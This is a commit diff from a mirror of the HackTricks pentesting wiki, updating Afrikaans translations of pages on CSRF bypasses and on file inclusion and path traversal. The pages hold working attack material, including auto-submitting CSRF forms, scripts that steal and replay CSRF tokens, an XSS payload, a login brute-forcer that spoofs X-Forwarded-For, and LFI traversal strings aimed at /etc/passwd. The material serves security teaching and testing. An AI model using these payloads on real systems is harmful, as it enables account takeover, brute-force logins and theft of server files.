maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-web/sql-injection/README.md', 'src/pente

Browse Source
This commit is contained in:
Translator 2025-08-26 17:00:15 +00:00
parent 9460110f7c
commit 51a7ff02bd
5 changed files with 726 additions and 595 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

186
src/pentesting-web/csrf-cross-site-request-forgery.md
View File

@ -2,21 +2,21 @@
{{#include ../banners/hacktricks-training.md}}
## Cross-Site Request Forgery (CSRF) verduidelik
## Cross-Site Request Forgery (CSRF) Verduidelik
**Cross-Site Request Forgery (CSRF)** is 'n tipe sekuriteitskwesbaarheid wat in webtoepassings voorkom. Dit stel aanvallers in staat om aksies namens onbewuste gebruikers uit te voer deur hul geverifieerde sessies te benut. Die aanval word uitgevoer wanneer 'n gebruiker, wat in 'n slagoffer se platform aangemeld is, 'n kwaadwillige webwerf besoek. Hierdie webwerf aktiveer dan versoeke na die slagoffer se rekening deur metodes soos die uitvoering van JavaScript, indien van vorms, of die verkryging van beelde.
**Cross-Site Request Forgery (CSRF)** is 'n tipe sekuriteitskwetsbaarheid wat in webtoepassings voorkom. Dit stel aanvallers in staat om aksies namens onbewuste gebruikers uit te voer deur hul geauthentiseerde sessies uit te buit. Die aanval word uitgevoer wanneer 'n gebruiker wat by die slagoffer se platform aangemeld is, 'n kwaadwillige webwerf besoek. Hierdie webwerf stuur dan versoeke na die slagoffer se rekening deur metodes soos die uitvoering van JavaScript, die indiening van forms, of die laai van images.
### Voorvereistes vir 'n CSRF-aanval
Om 'n CSRF-kwesbaarheid te benut, moet verskeie voorwaardes nagekom word:
Om 'n CSRF-kwetsbaarheid uit te buit, moet verskeie voorwaardes gevul wees:
1. **Identifiseer 'n Waardevolle Aksie**: Die aanvaller moet 'n aksie vind wat die moeite werd is om te benut, soos om die gebruiker se wagwoord, e-pos of bevoegdhede te verander.
2. **Sessiebestuur**: Die gebruiker se sessie moet slegs deur koekies of die HTTP Basic Authentication-koptekst bestuur word, aangesien ander koptekste nie vir hierdie doel gemanipuleer kan word nie.
3. **Afwesigheid van Onvoorspelbare Parameters**: Die versoek moet nie onvoorspelbare parameters bevat nie, aangesien dit die aanval kan voorkom.
1. **Identify a Valuable Action**: Die aanvaller moet 'n aksie vind wat die moeite werd is om uit te buit, soos om die gebruiker se wagwoord, e-pos te verander, of om voorregte te verhoog.
2. **Session Management**: Die gebruiker se sessie moet slegs deur cookies of die HTTP Basic Authentication header bestuur word, aangesien ander headers nie vir hierdie doel gemanipuleer kan word nie.
3. **Absence of Unpredictable Parameters**: Die versoek moet nie onvoorspelbare parameters bevat nie, aangesien dit die aanval kan voorkom.
### Vinning Kontrole
### Vinnige Kontrole
Jy kan **die versoek in Burp vasvang** en CSRF-beskermings nagaan en om van die blaaier te toets kan jy op **Kopieer as fetch** klik en die versoek nagaan:
Jy kan die versoek in Burp vasvang en CSRF-beskermings nagaan; om dit vanaf die blaaier te toets kan jy op **Copy as fetch** klik en die versoek nagaan:
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -24,63 +24,91 @@ Jy kan **die versoek in Burp vasvang** en CSRF-beskermings nagaan en om van die
Verskeie teenmaatreëls kan geïmplementeer word om teen CSRF-aanvalle te beskerm:
- [**SameSite koekies**](hacking-with-cookies/index.html#samesite): Hierdie attribuut verhoed dat die blaaier koekies saam met kruis-web versoeke stuur. [Meer oor SameSite koekies](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md): Die CORS-beleid van die slagoffer webwerf kan die haalbaarheid van die aanval beïnvloed, veral as die aanval vereis dat die antwoord van die slagoffer webwerf gelees word. [Leer oor CORS-bypass](cors-bypass.md).
- **Gebruiker Verifikasie**: Om die gebruiker se wagwoord te vra of 'n captcha op te los kan die gebruiker se bedoeling bevestig.
- **Kontroleer Referrer of Oorsprong Koptekste**: Die validering van hierdie koptekste kan help om te verseker dat versoeke van vertroude bronne kom. Dit is egter moontlik om swak geïmplementeerde kontroles te omseil deur sorgvuldig URL's te vervaardig, soos:
- Gebruik `http://mal.net?orig=http://example.com` (URL eindig met die vertroude URL)
- Gebruik `http://example.com.mal.net` (URL begin met die vertroude URL)
- **Wysig Parametername**: Die name van parameters in POST of GET versoeke kan verander word om geoutomatiseerde aanvalle te voorkom.
- **CSRF Tokens**: Die insluiting van 'n unieke CSRF-token in elke sessie en die vereiste van hierdie token in daaropvolgende versoeke kan die risiko van CSRF aansienlik verminder. Die doeltreffendheid van die token kan verbeter word deur CORS af te dwing.
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Hierdie attribuut verhoed dat die blaaier cookies saam met kruis-domein versoeke stuur. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md): Die CORS-beleid van die slagoffer se webwerf kan die uitvoerbaarheid van die aanval beïnvloed, veral as die aanval vereis dat die response van die slagoffer se site gelees word. [Learn about CORS bypass](cors-bypass.md).
- **User Verification**: Die gebruiker se wagwoord vra of 'n captcha oplos kan die gebruiker se bedoeling bevestig.
- **Checking Referrer or Origin Headers**: Validering van hierdie headers kan help om te verseker dat versoeke van betroubare bronne kom. Tog kan sorgvuldig saamgestelde URLs swak geïmplementeerde kontroles omseil, soos:
- Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL)
- Using `http://example.com.mal.net` (URL starts with the trusted URL)
- **Modifying Parameter Names**: Die verander van parametername in POST- of GET-versoeke kan help om geoutomatiseerde aanvalle te voorkom.
- **CSRF Tokens**: Die inkorporering van 'n unieke CSRF-token in elke sessie en die vereiste van hierdie token in opvolgversoeke kan die risiko van CSRF aansienlik verminder. Die doeltreffendheid van die token kan verhoog word deur CORS af te dwing.
Om hierdie verdediging te verstaan en te implementeer is van kardinale belang om die sekuriteit en integriteit van webtoepassings te handhaaf.
Om hierdie verdedigings te verstaan en te implementeer is van kritiek belang vir die handhawing van die sekuriteit en integriteit van webtoepassings.
## Verdedigings Omseiling
## Verdedigingsomseiling
### Van POST na GET
### Van POST na GET (method-conditioned CSRF validation bypass)
Miskien is die vorm wat jy wil misbruik voorberei om 'n **POST versoek met 'n CSRF-token te stuur, maar** jy moet **kontroleer** of 'n **GET** ook **geld** en of wanneer jy 'n GET versoek stuur die **CSRF-token steeds geverifieer word**.
Sommige toepassings voer slegs CSRF-validasie op POST uit, terwyl hulle dit vir ander HTTP-verbs oorslaan. 'n Algemene anti-patroon in PHP lyk soos:
```php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
```
As die kwesbare endpoint ook parameters van $_REQUEST aanvaar, kan jy dieselfde aksie as 'n GET-versoek heruitreik en die CSRF token heeltemal weglaat. Dit verander 'n slegs-POST-aksie in 'n GET-aksie wat sonder 'n token slaag.
### Gebrek aan token
Voorbeeld:
Toepassings mag 'n meganisme implementeer om **tokens te valideer** wanneer hulle teenwoordig is. 'n Kwesbaarheid ontstaan egter as die validasie heeltemal oorgeslaan word wanneer die token afwesig is. Aanvallers kan dit benut deur die **parameter** wat die token dra, nie net sy waarde, te **verwyder**. Dit stel hulle in staat om die validasieproses te omseil en 'n Cross-Site Request Forgery (CSRF) aanval effektief uit te voer.
- Original POST with token (intended):
### CSRF-token is nie aan die gebruiker se sessie gekoppel nie
```http
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Toepassings **wat CSRF-tokens nie aan gebruiker sessies koppel nie** bied 'n beduidende **sekuriteitsrisiko**. Hierdie stelsels verifieer tokens teen 'n **globale poel** eerder as om te verseker dat elke token aan die inisiërende sessie gebind is.
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
```
Hier is hoe aanvallers dit benut:
- Bypass by switching to GET (no token):
1. **Verifieer** met hul eie rekening.
2. **Verkry 'n geldige CSRF-token** uit die globale poel.
3. **Gebruik hierdie token** in 'n CSRF-aanval teen 'n slagoffer.
```http
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
```
Hierdie kwesbaarheid stel aanvallers in staat om ongeoorloofde versoeke namens die slagoffer te maak, wat die toepassing se **onvoldoende token validasiemechanisme** benut.
Notes:
- Hierdie patroon kom dikwels saam met reflected XSS voor waar responses verkeerdelik as text/html bedien word in plaas van application/json.
- Om dit met XSS te kombineer verlaag die uitbuitingshindernisse aansienlik omdat jy 'n enkele GET-skakel kan lewer wat beide die kwesbare kodepaadjie aktiveer en CSRF kontroles heeltemal omseil.
### Metode omseiling
### Geen token
As die versoek 'n "**vreemde**" **metode** gebruik, kontroleer of die **metode** **oorskry funksionaliteit** werk. Byvoorbeeld, as dit **'n PUT** metode gebruik, kan jy probeer om **'n POST** metode te **gebruik** en **stuur**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
Aansoeke mag 'n meganisme implementeer om tokens te valideer wanneer dit teenwoordig is. 'n Kwesbaarheid ontstaan egter as die validasie heeltemal oorgeslaan word wanneer die token afwesig is. Aanvallers kan dit uitbuit deur die parameter wat die token dra te verwyder, nie net die waarde daarvan nie. Dit laat hulle toe om die validasieproses te omseil en effektief 'n Cross-Site Request Forgery (CSRF) aanval uit te voer.
Dit kan ook werk deur die **\_method parameter binne 'n POST versoek** te stuur of deur die **koptekste** te gebruik:
### CSRF token is nie aan die gebruiker se sessie gekoppel nie
- _X-HTTP-Method_
- _X-HTTP-Method-Override_
- _X-Method-Override_
Aansoeke wat CSRF tokens nie aan gebruiker sessies koppel nie, vorm 'n beduidende veiligheidsrisiko. Sulke stelsels verifieer tokens teen 'n globale pool eerder as om te verseker dat elke token aan die inisierende sessie gebind is.
### Aangepaste koptekst token omseiling
Hoe aanvallers dit uitbuit:
As die versoek 'n **aangepaste koptekst** met 'n **token** aan die versoek voeg as **CSRF beskermingsmetode**, dan:
1. Authenticate met hul eie rekening.
2. Verkry 'n geldige CSRF token uit die globale pool.
3. Gebruik hierdie token in 'n CSRF aanval teen 'n slagoffer.
- Toets die versoek sonder die **Aangepaste Token en ook koptekst.**
- Toets die versoek met presies **dieselfde lengte maar 'n ander token**.
Hierdie kwesbaarheid maak dit moontlik vir aanvallers om ongemagtigde versoeke namens die slagoffer te maak deur die toepassing se ondoeltreffende token-validasiemeganisme uit te buit.
### CSRF-token word deur 'n koekie geverifieer
### Metode bypass
Toepassings mag CSRF-beskerming implementeer deur die token in beide 'n koekie en 'n versoekparameter te dupliceer of deur 'n CSRF-koekie in te stel en te verifieer of die token wat in die agtergrond gestuur word ooreenstem met die koekie. Die toepassing valideer versoeke deur te kontroleer of die token in die versoekparameter ooreenstem met die waarde in die koekie.
As die versoek 'n "wierd" method gebruik, kyk of die method override-funksionaliteit werk. Byvoorbeeld, as dit 'n PUT method gebruik, kan jy probeer om 'n POST te gebruik en te stuur: https://example.com/my/dear/api/val/num?_method=PUT
Hierdie metode is egter kwesbaar vir CSRF-aanvalle as die webwerf gebreke het wat 'n aanvaller in staat stel om 'n CSRF-koekie in die slagoffer se blaaier in te stel, soos 'n CRLF-kwesbaarheid. Die aanvaller kan dit benut deur 'n misleidende beeld te laai wat die koekie stel, gevolg deur die inisiëring van die CSRF-aanval.
Dit kan ook werk deur die _method parameter binne 'n POST versoek te stuur of deur die headers te gebruik:
Hieronder is 'n voorbeeld van hoe 'n aanval gestruktureer kan word:
- X-HTTP-Method
- X-HTTP-Method-Override
- X-Method-Override
### Custom header token bypass
As die versoek 'n custom header met 'n token byvoeg as CSRF protection-metode, dan:
- Toets die versoek sonder die Customized Token en ook sonder die header.
- Toets die versoek met presies dieselfde lengte maar 'n ander token.
### CSRF token is verified by a cookie
Aansoeke kan CSRF beskerming implementeer deur die token in beide 'n cookie en 'n versoekparameter te dupliseer of deur 'n CSRF cookie te stel en te verifieer of die token wat in die backend gestuur word ooreenstem met die cookie. Die toepassing valideer versoeke deur te kontroleer of die token in die versoekparameter ooreenstem met die waarde in die cookie.
Hierdie metode is egter vatbaar vir CSRF-aanvalle as die webwerf foutspasies het wat 'n aanvaller toelaat om 'n CSRF cookie in die slagoffer se blaaier te stel, soos 'n CRLF-kwesbaarheid. Die aanvaller kan dit uitbuit deur 'n misleidende beeld te laai wat die cookie stel, gevolg deur die inisiering van die CSRF-aanval.
Below is an example of how an attack could be structured:
```html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
@ -103,19 +131,19 @@ onerror="document.forms[0].submit();" />
</html>
```
> [!TIP]
> Let daarop dat as die **csrf token verband hou met die sessie koekie, sal hierdie aanval nie werk nie** omdat jy die slagoffer jou sessie moet stel, en daarom sal jy jouself aanval.
> Let wel: as die **csrf token verband hou met die session cookie sal hierdie attack nie werk nie** omdat jy die slagoffer se session aan jou moet koppel, en dus jouself sal aanval.
### Inhouds tipe verandering
### Content-Type change
Volgens [**hierdie**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), om **preflight** versoeke met die **POST** metode te **vermy**, is hierdie die toegelate Inhouds tipe waardes:
Volgens [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), om **preflight** versoeke met die **POST**-metode te **voorkom** is die volgende Content-Type-waardes toegelaat:
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
- **`text/plain`**
Let egter daarop dat die **bediener se logika kan verskil** afhangende van die **Inhouds tipe** wat gebruik word, so jy moet die genoemde waardes en ander soos **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ probeer.
However, note that the **bedienerlogika kan verskil** depending on the **Content-Type** used so you should try the values mentioned and others like **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Voorbeeld (van [hier](https://brycec.me/posts/corctf_2021_challenges)) van die stuur van JSON data as text/plain:
Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:
```html
<html>
<body>
@ -134,31 +162,32 @@ form.submit()
</body>
</html>
```
### Omseil van Preflight Versoeke vir JSON Data
### Om preflight requests vir JSON-data te omseil
Wanneer jy probeer om JSON data via 'n POST versoek te stuur, is dit nie direk moontlik om die `Content-Type: application/json` in 'n HTML vorm te gebruik nie. Net so, die gebruik van `XMLHttpRequest` om hierdie inhouds tipe te stuur, begin 'n preflight versoek. Nietemin, daar is strategieë om moontlik hierdie beperking te omseil en te toets of die bediener die JSON data verwerk ongeag die Content-Type:
Wanneer jy probeer om JSON-data via 'n POST-versoek te stuur, is dit nie direk moontlik om `Content-Type: application/json` in 'n HTML-form te gebruik nie. Net so veroorsaak die gebruik van `XMLHttpRequest` om hierdie content type te stuur 'n preflight request. Nietemin bestaan daar strategieë om hierdie beperking moontlik te omseil en te kontroleer of die bediener die JSON-data verwerk ongeag die Content-Type:
1. **Gebruik Alternatiewe Inhouds Tipes**: Gebruik `Content-Type: text/plain` of `Content-Type: application/x-www-form-urlencoded` deur `enctype="text/plain"` in die vorm in te stel. Hierdie benadering toets of die agtergrond die data gebruik ongeag die Content-Type.
2. **Wysig Inhouds Tipe**: Om 'n preflight versoek te vermy terwyl jy verseker dat die bediener die inhoud as JSON herken, kan jy die data stuur met `Content-Type: text/plain; application/json`. Dit aktiveer nie 'n preflight versoek nie, maar kan korrek deur die bediener verwerk word as dit geconfigureer is om `application/json` te aanvaar.
3. **SWF Flash Lêer Gebruik**: 'n Minder algemene maar haalbare metode behels die gebruik van 'n SWF flash lêer om sulke beperkings te omseil. Vir 'n diepgaande begrip van hierdie tegniek, verwys na [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
1. **Use Alternative Content Types**: Gebruik `Content-Type: text/plain` of `Content-Type: application/x-www-form-urlencoded` deur `enctype="text/plain"` in die form te stel. Hierdie benadering toets of die backend die data gebruik ongeag die Content-Type.
2. **Modify Content Type**: Om 'n preflight request te vermy terwyl jy verseker dat die bediener die inhoud as JSON herken, kan jy die data stuur met `Content-Type: text/plain; application/json`. Dit veroorsaak nie 'n preflight request nie maar kan dalk korrek deur die bediener verwerk word as dit gekonfigureer is om `application/json` te aanvaar.
3. **SWF Flash File Utilization**: 'n Minder algemene maar uitvoerbare metode behels die gebruik van 'n SWF flash-lêer om sulke beperkings te omseil. Vir 'n diepgaande begrip van hierdie tegniek, verwys na [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Referrer / Oorsprong kontrole omseiling
### Referrer / Origin check bypass
**Vermy Referrer kop**
**Avoid Referrer header**
Toepassings mag die 'Referer' kop slegs valideer wanneer dit teenwoordig is. Om te voorkom dat 'n blaaier hierdie kop stuur, kan die volgende HTML meta tag gebruik word:
Aansoeke mag die 'Referer' header slegs valideer wanneer dit teenwoordig is. Om te voorkom dat 'n blaaier hierdie header stuur, kan die volgende HTML meta-tag gebruik word:
```xml
<meta name="referrer" content="never">
```
Dit verseker dat die 'Referer' kop nie ingesluit word nie, wat moontlik valideringskontroles in sommige toepassings kan omseil.
Dit verseker dat die 'Referer' header weggelaat word, wat moontlik valideringskontroles in sommige toepassings kan omseil.
**Regexp bypasses**
**Regexp omseilings**
{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
Om die domeinnaam van die bediener in die URL wat die Referrer binne die parameters gaan stuur, in te stel, kan jy doen:
Om die domeinnaam van die bediener in die URL te stel wat die Referrer binne die parameters gaan stuur, kan jy dit so doen:
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
@ -187,19 +216,19 @@ document.forms[0].submit()
</body>
</html>
```
### **HEAD metode omseiling**
### **Omseiling van HEAD-metode**
Die eerste deel van [**hierdie CTF skrywe**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) verduidelik dat [Oak se bronkode](https://github.com/oakserver/oak/blob/main/router.ts#L281), 'n router is ingestel om **HEAD versoeke as GET versoeke** te hanteer sonder 'n responsliggaam - 'n algemene omseiling wat nie uniek is aan Oak nie. In plaas van 'n spesifieke handler wat met HEAD versoeke werk, word hulle eenvoudig **aan die GET handler gegee, maar die app verwyder net die responsliggaam**.
Die eerste deel van [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) verduidelik dat [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), 'n router is ingestel om **handle HEAD requests as GET requests** met geen response body nie — 'n algemene ompad wat nie uniek is aan Oak nie. In plaas van 'n spesifieke handler wat met HEAD reqs omgaan, word hulle eenvoudig **given to the GET handler but the app just removes the response body**.
Daarom, as 'n GET versoek beperk word, kan jy eenvoudig **'n HEAD versoek stuur wat as 'n GET versoek verwerk sal word**.
Daarom, as 'n GET request beperk word, kan jy net **send a HEAD request that will be processed as a GET request**.
## **Eksploitasie Voorbeelde**
## **Exploit Examples**
### **Exfiltrering van CSRF Token**
### **Exfiltrating CSRF Token**
As 'n **CSRF token** as **verdediging** gebruik word, kan jy probeer om dit te **exfiltreer** deur 'n [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) kwesbaarheid of 'n [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) kwesbaarheid te misbruik.
As 'n **CSRF token** as **defence** gebruik word, kan jy probeer om **exfiltrate it** deur 'n [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) kwesbaarheid of 'n [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) kwesbaarheid te misbruik.
### **GET met HTML tags**
### **GET using HTML tags**
```xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
@ -234,7 +263,7 @@ background: url("...");
</video>
</audio>
```
### Vorm GET versoek
### Vorm GET-versoek
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
@ -252,7 +281,7 @@ document.forms[0].submit()
</body>
</html>
```
### Vorm POST versoek
### Formulier POST-versoek
```html
<html>
<body>
@ -280,7 +309,7 @@ document.forms[0].submit() //Way 3 to autosubmit
</body>
</html>
```
### Form POST versoek deur iframe
### Formulier POST-versoek deur iframe
```html
<!--
The request is sent through the iframe withuot reloading the page
@ -303,7 +332,7 @@ document.forms[0].submit()
</body>
</html>
```
### **Ajax POST versoek**
### **Ajax POST-versoek**
```html
<script>
var xh
@ -373,7 +402,7 @@ body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
```
### Form POST versoek vanaf binne 'n iframe
### Form POST-versoek van binne 'n iframe
```html
<--! expl.html -->
@ -397,7 +426,7 @@ document.getElementById("formulario").submit()
</body>
</body>
```
### **Steal CSRF Token en stuur 'n POST versoek**
### **Steel CSRF Token en stuur 'n POST request**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
@ -444,7 +473,7 @@ var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
```
### **Steal CSRF Token en stuur 'n Post versoek met 'n iframe, 'n vorm en Ajax**
### **Steel CSRF Token en stuur 'n Post request met 'n iframe, 'n form en Ajax**
```html
<form
id="form1"
@ -472,7 +501,7 @@ style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
```
### **Steal CSRF Token en stuur 'n POST versoek met 'n iframe en 'n vorm**
### **Steel CSRF Token en stuur 'n POST request met behulp van 'n iframe en 'n form**
```html
<iframe
id="iframe"
@ -505,7 +534,7 @@ document.forms[0].submit.click()
}
</script>
```
### **Steal token and send it using 2 iframes**
### **Steel token en stuur dit met behulp van 2 iframes**
```html
<script>
var token;
@ -535,7 +564,7 @@ height="600" width="800"></iframe>
<button type="submit">Submit</button>
</form>
```
### **POSTSteal CSRF-token met Ajax en stuur 'n pos met 'n vorm**
### **POSTSteal CSRF token met Ajax en stuur 'n post met 'n form**
```html
<body onload="getData()">
<form
@ -588,7 +617,7 @@ room: username,
```
## CSRF Login Brute Force
Die kode kan gebruik word om 'n aanmeldvorm met 'n CSRF-token te brute-force (Dit gebruik ook die kop X-Forwarded-For om te probeer om 'n moontlike IP-swartlys te omseil):
Die kode kan gebruik word om 'n Brut Force op 'n login form uit te voer wat 'n CSRF token gebruik (Dit gebruik ook die header X-Forwarded-For om te probeer om 'n moontlike IP blacklisting te omseil):
```python
import request
import re
@ -643,7 +672,6 @@ login(USER, line.strip())
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
​
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../banners/hacktricks-training.md}}

365
src/pentesting-web/file-inclusion/README.md
View File

@ -1,25 +1,25 @@
# Bestandsinsluiting/Pad Traversal
# File Inclusion/Path traversal
{{#include ../../banners/hacktricks-training.md}}
## Bestandsinsluiting
## File Inclusion
**Afgeleë Bestandsinsluiting (RFI):** Die bestand word van 'n afgeleë bediener gelaai (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit **deaktivated** per standaard (**allow_url_include**).\
**Plaaslike Bestandsinsluiting (LFI):** Die bediener laai 'n plaaslike bestand.
**Remote File Inclusion (RFI):** Die lêer word vanaf 'n afgeleë bediener gelaai (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit standaard **uitgeskakel** (**allow_url_include**).\
**Local File Inclusion (LFI):** Die bediener laai 'n plaaslike lêer.
Die kwesbaarheid ontstaan wanneer die gebruiker op een of ander manier die bestand kan beheer wat deur die bediener gelaai gaan word.
Die kwesbaarheid ontstaan wanneer die gebruiker op 'n of ander manier die lêer kan beheer wat deur die bediener gelaai gaan word.
Kwetsbare **PHP funksies**: require, require_once, include, include_once
Kwetsbare **PHP functions**: require, require_once, include, include_once
'n Interessante hulpmiddel om hierdie kwesbaarheid te benut: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
'n Interessante hulpmiddel om hierdie kwesbaarheid uit te buit: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interessant - LFI2RCE lêers
## Blind - Interesting - LFI2RCE files
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**Deur verskeie \*nix LFI-lists te meng en meer paaie by te voeg, het ek hierdie een geskep:**
**Deur verskeie *nix LFI-lyste te kombineer en meer paaie by te voeg het ek hierdie een geskep:**
{{#ref}}
@ -27,13 +27,13 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
{{#endref}}
Probeer ook om `/` te verander na `\`\
Probeer ook om `../../../../../` by te voeg.
Probeer ook om `../../../../../` by te voeg
'n Lys wat verskeie tegnieke gebruik om die lêer /etc/password te vind (om te kyk of die kwesbaarheid bestaan) kan [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) gevind word.
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Samevoeging van verskillende woordlyste:
Samevoeging van verskeie wordlists:
{{#ref}}
@ -41,21 +41,21 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
{{#endref}}
Probeer ook om `/` te verander na `\`\
Probeer ook om `C:/` te verwyder en `../../../../../` by te voeg.
Probeer ook om `C:/` te verwyder en `../../../../../` by te voeg
'n Lys wat verskeie tegnieke gebruik om die lêer /boot.ini te vind (om te kyk of die kwesbaarheid bestaan) kan [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) gevind word.
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Kontroleer die LFI lys van linux.
Kyk na die LFI-lys van Linux.
## Basiese LFI en omseilings
Al die voorbeelde is vir Local File Inclusion, maar kan ook op Remote File Inclusion toegepas word (bladsy=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
Al die voorbeelde is vir Local File Inclusion maar kan ook op Remote File Inclusion toegepas word (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### traverseringsekwensies nie-recursief verwyder
### traversal sequences nie-rekursief verwyder
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Om die byvoeging van meer karakters aan die einde van die verskafde string te omseil (omseiling van: $\_GET\['param']."php")
Bypass om meer karakters aan die einde van die verskafte string by te voeg (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Dit is **opgelos sedert PHP 5.4**
### **Kodering**
### **Enkodering**
Jy kan nie-standaard kodering soos dubbele URL-kodering (en ander) gebruik:
Jy kan nie-standaard enkoderinge gebruik soos double URL encode (en ander):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Van bestaande gids
### Van bestaande folder
Miskien kyk die agterkant na die gids pad:
Miskien kontroleer die back-end die folder path:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Verken van Lêerstelsels op 'n Bediening
### Verkenning van lêerstelsel-gidse op 'n bediener
Die lêerstelsel van 'n bediener kan rekursief verken word om directories te identifiseer, nie net lêers nie, deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die directory-diepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:
Die lêerstelsel van 'n bediener kan rekursief verken word om gidse, nie net lêers nie, te identifiseer deur sekere tegnieke toe te pas. Hierdie proses behels die vasstelling van die gidsdiepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetaileerde metode om dit te bereik:
1. **Bepaal Directory Diepte:** Bepaal die diepte van jou huidige directory deur suksesvol die `/etc/passwd` lêer op te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan as volg gestruktureer wees, wat 'n diepte van drie aandui:
1. **Bepaal die gidsdiepte:** Bepaal die diepte van jou huidige gids deur suksesvol die `/etc/passwd` lêer op te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan soos volg gestruktureer wees en 'n diepte van drie aandui:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Dienste vir Gidsen:** Voeg die naam van die vermoedlike gids (bv. `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die ekstra gidsvlak vereis dat die diepte met een verhoog word:
2. **Probe for Folders:** Voeg die naam van die vermoedlike gids (bv. `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die addisionele gidsvlak vereis dat die diepte met een verhoog word:
```bash
